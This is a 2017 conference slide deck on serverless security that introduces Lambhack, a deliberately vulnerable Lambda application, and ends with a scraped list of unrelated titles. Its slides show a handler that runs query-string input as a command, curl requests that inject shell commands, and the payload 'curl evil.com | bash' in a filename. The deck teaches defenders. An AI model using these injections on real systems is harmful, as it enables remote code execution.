serverless security: a pragmatic primer for builders and defenders

Velocity San Jose 2017 @WICKETT

SERVERLESS SECURITY: A PRAGMATIC PRIMER

FOR BUILDERS AND DEFENDERS

JAMES WICKETT

WANT THE SLIDES RIGHT NOW?

Send an email to james@signalsciences.com

‣ DEVOPS DAYS AUSTIN ORGANIZER

‣ HEAD OF RESEARCH AT SIGNAL SCIENCES

‣ AUTHOR DEVOPS FUNDAMENTALS AT LYNDA.COM

‣ BLOGGER AT THEAGILEADMIN.COM AND LABS.SIGNALSCIENCES.COM

JAMES WICKETT

Don’t worry, this is not a thinly veiled vendor pitch.

‣ SERVERLESS ENCOURAGES FUNCTIONS AS DEPLOY UNITS, COUPLED WITH THIRD PARTY SERVICES THAT ALLOW RUNNING END-TO-END APPLICATIONS WITHOUT WORRYING ABOUT SYSTEM OPERATION.

‣ NEW SERVERLESS PATTERNS ARE JUST EMERGING

‣ SECURITY WITH SERVERLESS IS EASIER

‣ SECURITY WITH SERVERLESS IS HARDER

CONCLUSION (1 OF 2)

‣ FOUR KEY AREAS APPLY TO SERVERLESS SECURITY

‣ SOFTWARE SUPPLY CHAIN SECURITY

‣ DELIVERY PIPELINE SECURITY

‣ DATA FLOW SECURITY

‣ ATTACK DETECTION

‣ LAMBHACK! A VERY VULNERABLE LAMBDA STACK OPEN SOURCE PROJECT

‣ GITHUB.COM/WICKETT/LAMBHACK

CONCLUSION (2 OF 2)

WHAT IS SERVERLESS?

MISCONCEPTIONS

IT’S MARKETING (CLOUD REBRANDED)

SERVERLESS == NO SERVERS

SERVERLESS == BACKEND AS A SERVICE

SERVERLESS == PLATFORM AS A SERVICE

TK: ADRIANCO QUOTE

SO, WHAT IS SERVERLESS?

http://martinfowler.com/articles/serverless.html

@MIKEBROBERTS

‣ 2012 - USED TO DESCRIBE BAAS AND CONTINUOUS INTEGRATION SERVICES RUN BY THIRD PARTIES

‣ LATE 2014 - AWS LAUNCHED LAMBDA

‣ JULY 2015 - AWS LAUNCHED API GATEWAY

‣ OCTOBER 2015 - AWS RE:INVENT - THE SERVERLESS COMPANY USING AWS LAMBDA

‣ 2015 TO PRESENT - FRAMEWORKS FORMING

‣ 2016 - GOOGLE CLOUD FUNCTIONS, AZURE FUNCTIONS RELEASED

‣ 2016 - SERVERLESS CONFERENCES STARTED

HISTORY OF SERVERLESS

VMsHardware Serverless

Inspiration from @adrianco

Decomposed Microservice Architecture

WHAT CAN WE SAY IS SERVERLESS?

SERVERLESS IS FUNCTIONS AS A SERVICE

(FaaS)

CONTAINERS ON DEMAND

SERVERLESS IS (NO MANAGEMENT OF)

SERVERS

SERVERLESS IS SERVICEFULL

SERVERLESS IS AN OPINIONATED

FRAMEWORK FOR COMPUTE AND

CONTAINERS

If you want to lead your company bravely into the new

world, you would do well to focus lot on how serverless will

evolve. - @Cloudopinion

https://medium.com/@cloud_opinion/the-pattern-may-repeat-26de1e8b489d

THE CLOUD WAS TO VIRTUALIZATION AS

SERVERLESS WILL BE TO CONTAINERS

Serverless encourages functions as deploy units, coupled with third party services that allow

running end-to-end applications without worrying about system

operation.

SERVERLESS DEFINITION

SO, WHAT ARE THE UPSIDES?

SCALING BUILT IN

PAY FOR WHAT YOU USE IN 100MS INCREMENTS

WITH SERVERLESS SYSTEM ADMINISTRATION IS

(MOSTLY) LOWER

SHORT CIRCUITS OPS AND MOVES INFRASTRUCTURE

RUNTIME CLOSER TO DEVS

YOU CAN SKIP DOCKERING ALL THE

THINGS!

GREAT, WHAT’S THE CATCH?

Ops burden to rationalize serverless model

@patrickdebois

VENDOR LOCK-IN

MONITORING

LOGGING

RELIABILITY

‣ APP NEEDS LARGE LOCAL DISK SPACE

‣ LONG RUNNING JOBS

‣ BIG I/O TASKS

‣ LATENCY SENSITIVE REQUESTS THAT CAN’T WAIT FOR THE COLD-STARTUP TIME

SERVERLESS DEAL KILLERS (PROBABLY)

SERVERLESS USE CASES

Velocity San Jose 2017 @WICKETT http://martinfowler.com/articles/serverless.html

MESSAGE PROCESSING

Velocity San Jose 2017 @WICKETT http://martinfowler.com/articles/serverless.html

API GATEWAY

WEB APPLICATIONS

CI/CD auth

wordpress scraper

event ingestion chatbots

load testing

MORE SERVERLESS USE CASES

Security

LETS TRY A SAMPLE APPLICATION IN AWS

‣ SERVERLESS

‣ APEX

‣ GO SPARTA

‣ KAPPA

STEP 1: PICK A FRAMEWORK

‣ GOLANG!

‣ AWS LAMBDA SUPPORTS BRING YOUR OWN BINARY

‣ SPARTA WRAPS YOUR COMPILED BINARY WITH A NODE.JS SHIM

‣ GO SPARTA ALSO HANDLES ALL THE OTHER AWS SERVICES YOUR APP CONSUMES

GO SPARTA

‣ CLOUDWATCH EVENTS AND LOGS

‣ DYNAMODB, KINESIS,

‣ S3

‣ SES, SNS

‣ API GATEWAY CREATION

GO SPARTA INCLUDES

‣ BUILD A WORD CLOUD GENERATOR

‣ ABLE TO CONSUME 3RD PARTY APIS FOR TEXT SOURCES

‣ RETURN JSON WITH COUNTS OF WORDS IN TEXT

‣ KEEP IT SIMPLE

STEP 2: IDEA!

‣ (USING GO SPARTA FOR THE FRAMEWORK)

‣ LAMBDA

‣ S3

‣ API GATEWAY

STEP 3: DESIGN AND ARCHITECTURE

STEP 4: WRITE THE HANDLER

STEP 5: SETUP API GATEWAY

STEP 6: SET THE CONFIG DETAILS

STEP 7: PROVISION YOUR APP!

STEP 8: SETUP STRICT IAM POLICIES

STEP 9: GIVE UP AND SET LOOSE IAM POLICIES, PROMISE TO FIX LATER

STEP 10: PROVISION YOUR APP!

APP IN AWS CONSOLE

TEST LAMBDA EXEC IN CONSOLE

FIRST RUN OF 343MS

SECOND RUN ONLY TOOK 84MS

API GATEWAY IN CONSOLE

API GATEWAY EXECUTION IN CONSOLE

RETURNED JSON

MONITORING LAMBDA IN CONSOLE

WHAT I LEARNED ABOUT SERVERLESS SECURITY

SECURITY

‣ SECURE SOFTWARE SUPPLY CHAIN

‣ DELIVERY PIPELINE

FOUR AREAS OF SERVERLESS SECURITY

Velocity San Jose 2017 @WICKETT source: @devsecops

‣ THE CODE YOU WRITE (AND LIBS) IS YOUR SURFACE AREA NOW

‣ CHANGE FROM THE PAST (E.G. SHELLSHOCK, HEARTBLEED) OF THE NUMEROUS FIREDRILLS OUR INDUSTRY HAD TO ENDURE DUE TO INHERITANCE

SURFACE AREA REDUCTION

‣ TLS CONTROL TO THE PROVIDER

‣ ROUTING CONTROL TO THE PROVIDER

‣ CONSUMPTION OF THIRD PARTY SERVICES

‣ IAM ROLES AND POLICY CONFUSION

SURFACE AREA EXPANSION

SSL / TLS FROM THE PROVIDER

OLD WAY

NEW WAY

ROUTING FROM THE PROVIDER

ROUTING THE OLD WAY

ROUTING THE NEW WAY

Lambda + s3 + kinesis + DynamoDB +

cloudformation + API Gateway + Auth0

SERVICE AND 3RD PARTY EXPANSION

Velocity San Jose 2017 @WICKETT https://media.ccc.de/v/33c3-7865-gone_in_60_milliseconds

IAM ROLES AND POLICIES

Recommendation: Use a third-party service to monitor for provider

config changes

‣ DISABLE ROOT ACCESS KEYS

‣ MANAGE USERS WITH PROFILES

‣ SECURE YOUR KEYS IN YOUR DEPLOY SYSTEM

‣ SECURE KEYS IN DEV SYSTEM

‣ USE PROVIDER MFA

USE GOOD HYGIENE WITH YOUR PROVIDER

DELIVERY PIPELINE SECURITY

UNIT TESTING

EASIER TO MOCK

HARDER TO MOCK

UNIT TESTING EVEN MORE CRITICAL AS

INTEGRATION TESTING IN DEV IS

HARDER

‣ USE OF A STAGING OR PRE-PROD ENV

‣ END TO END SYNTHETIC INTEGRATION TESTS

‣ ALL THE USUAL SUSPECTS

INTEGRATION TESTING

CONFIGURATION IS PART OF DELIVERY

‣ ONLY DEV KEYS CAN PUSH TO ‘DEV’

‣ ONLY BUILD/DEPLOY SYSTEM CAN PUSH TO PRE-PROD

‣ INTEGRATION TESTS MUST PASS IN THIS ENV

‣ SECURITY VALIDATION MUST TAKE PLACE BEFORE PROMOTION

‣ ALLOW PUSH TO PROD, ONLY BY DEPLOY SYSTEM

GOOD PIPELINE PRACTICES

‣ BDD-SECURITY - GITHUB.COM/CONTINUUMSECURITY/BDD-SECURITY

‣ GAUNTLT - GAUNTLT.ORG

‣ GITHUB.COM/GAUNTLT/GAUNTLT

‣ DOCKER RECOMMENDED

SECURITY TESTING TOOLS

http://www.slideshare.net/wickett/pragmatic-security-and-rugged-devops-sxsw-2015

GAUNTLT WORKSHOP IN 9 EXAMPLES

DATA FLOW‣ DEVELOPMENT

‣ DATA FLOW DIAGRAMS

‣ THREAT MODELING

‣ RUNTIME

‣ LOGGING

‣ CUSTOM MONITORS/METRICS

Your provider is responsible for the underlying infrastructure

and services. You are responsible for ensuring you use the services in a secure manner.

https://read.acloud.guru/adopting-serverless-architectures-and-

security-254a0c12b54a

‣ SPOOFING CONSUMED RESOURCES

‣ DENIAL OF SERVICE

‣ TIMEOUTS

‣ EXECUTION RESTRICTIONS FOR RESOURCES

‣ CAPACITY ISSUES

DATA FLOW SECURITY

ATTACK DETECTION

DOES APPLICATION SECURITY STILL MATTER?

Velocity San Jose 2017 @WICKETThttps://medium.com/

@PaulDJohnston/security-and-serverless-ec52817385c4

APPSEC GREATEST HITS (XSS, SQLI, CMDEXE) STILL

RELEVANT 15 YEARS LATER!

‣ SERVERLESS HAS A FALSE SENSE OF SECURITY

‣ API PROXY LAYER THING PROTECTS ME, RIGHT? ;)

‣ WANTED TO SEE MAKE THE POINT THAT APPSEC IS RELEVANT IN SERVERLESS

‣ A VULNERABLE LAMBDA + API GATEWAY STACK

‣ BORN FROM THE HERITAGE OF WEBGOAT, RAILS GOAT, GRUYERE, AND OTHERS…

INTRODUCING LAMBHACK

‣ A VULNERABLE LAMBDA + API GATEWAY STACK

‣ OPEN SOURCE, MIT LICENSED

‣ INCLUDES ARBITRARY CODE EXECUTION IN A QUERY STRING

‣ MORE WORK NEEDED, PULL REQUESTS ACCEPTED AND LOOKING FOR COMMUNITY HELP

github.com/wickett/lamback

lambhack is a vulnerable serverless lambda application

It would certainly be a bad idea to base any coding patterns off

what you see here.

BAD CODE IS BAD CODEEVEN IN SERVERLESS…

command := lambdaEvent.QueryParams[“args"]

output := runner.Run(command)

With command execution available to us in

lambhack, we can poke around the container a bit

UNAME -A

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/lambhack/c?args=uname+-a;+sleep+1"

> Linux ip-10-36-34-119 4.4.35-33.55.amzn1.x86_64 #1 SMP Tue Dec 6 20:30:04 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

CAT /PROC/VERSION$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/lambhack/c?args=cat+/proc/version;+sleep+1”

> Linux version 4.4.35-33.55.amzn1.x86_64 (mockbuild@gobi-build-60006) (gcc version 4.8.3 20140911 (Red Hat 4.8.3-9) (GCC) ) #1 SMP Tue Dec 6 20:30:04 UTC 2016

LET’S LOOK IN /TMP

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/lambhack/c?args=ls+-la+/tmp;+sleep+1"

total 17916 drwx------ 2 sbx_user1056 490 4096 Feb 8 22:02 . drwxr-xr-x 21 root root 4096 Feb 8 21:47 .. -rwxrwxr-x 1 sbx_user1056 490 18334049 Feb 8 22:02 Sparta.lambda.amd64

LAMBDA REUSE IN ACTION!

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/lambhack/c?args=ls+/tmp;+sleep+1"

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/lambhack/c?args=touch+/tmp/wickettfile;+sleep+1”

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/lambhack/args=ls+/tmp;+sleep+1"

> Sparta.lambda.amd64 wickettfile

WHICH CURL

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/lambhack/c?args=which+curl;+sleep+1"

> /usr/bin/curl

‣ ADD XSS

‣ ADD OTHER INJECTION ATTACKS

‣ ADD AUTH VECTORS

‣ …

‣ PULL REQUESTS ACCEPTED :)

FUTURE OF LAMBHACK

‣ LAMBDA HAS LIMITED BLAST RADIUS, BUT NOT ZERO

‣ MONITORING/LOGGING PLAYS A KEY ROLE HERE

‣ DETECT LONGER RUN TIMES

‣ HIGHER ERROR RATE OCCURRENCES

‣ DATA INGESTION

‣ LOG ACTIONS OF LAMBDAS

APPSEC THOUGHTS

APPLICATION SECURITY IS STILL RELEVANT

‣ New surface area, similar appsec problems

‣ Command Exec

‣ XSS

‣ Injection Attacks

‣ Try new things, e.g. appending ‘curl evil.com | bash’ or <script>alert(1)</script> to a filename you upload on s3

TYPES OF ATTACKS

‣ LOGGING, EMITTING EVENTS

‣ USAGE METRICS

‣ VANDIUM (SQLI) WRAPPER

‣ CONTENT SECURITY POLICY (CSP)

‣ MORE THINGS NEED TO BE DONE HERE…

DEFENSE

Development in serverless is easier than ever, attracting new developers to web development, as a result, application security

will see a rise.

FINAL THOUGHT

‣ SERVERLESS ENCOURAGES FUNCTIONS AS DEPLOY UNITS, COUPLED WITH THIRD PARTY SERVICES THAT ALLOW RUNNING END-TO-END APPLICATIONS WITHOUT WORRYING ABOUT SYSTEM OPERATION.

‣ NEW SERVERLESS PATTERNS ARE JUST EMERGING

‣ SECURITY WITH SERVERLESS IS EASIER

‣ SECURITY WITH SERVERLESS IS HARDER

CONCLUSION (1 OF 2)

‣ FOUR KEY AREAS APPLY TO SERVERLESS SECURITY

‣ SOFTWARE SUPPLY CHAIN SECURITY

‣ DELIVERY PIPELINE SECURITY

‣ LAMBHACK! A VERY VULNERABLE LAMBDA STACK OPEN SOURCE PROJECT

CONCLUSION (2 OF 2)

WANT THE SLIDES RIGHT NOW OR HAVE QUESTIONS?

Send an email to james@signalsciences.com

serverless security: a pragmatic primer for builders and defenders

Software

serverless spring

chad green from zero to serverless · serverless the...

an ncc group publication serverless architecture: the future...

serverless & phpthe future serverless? is php's future...

serverless frameworks · serverless frameworks based on...

introduction to serverless php - akrabat.com · serverless...

using knative on your own terms serverless serverless at

north carolina public defenders directory public defenders

going serverless

blockchain - apt store for serverless apps - nasir -...

docker serverless

an ncc group publication serverless architecture: the...

serverless extensibility

serverless azure

kubernetes for serverless - serverless summit 2017 -...

serverless iot at irobot - qcon san francisco ·...

serverless architecture patterns - manoj ganapathi -...

serverless applications

enviroment defenders

zeylon defenders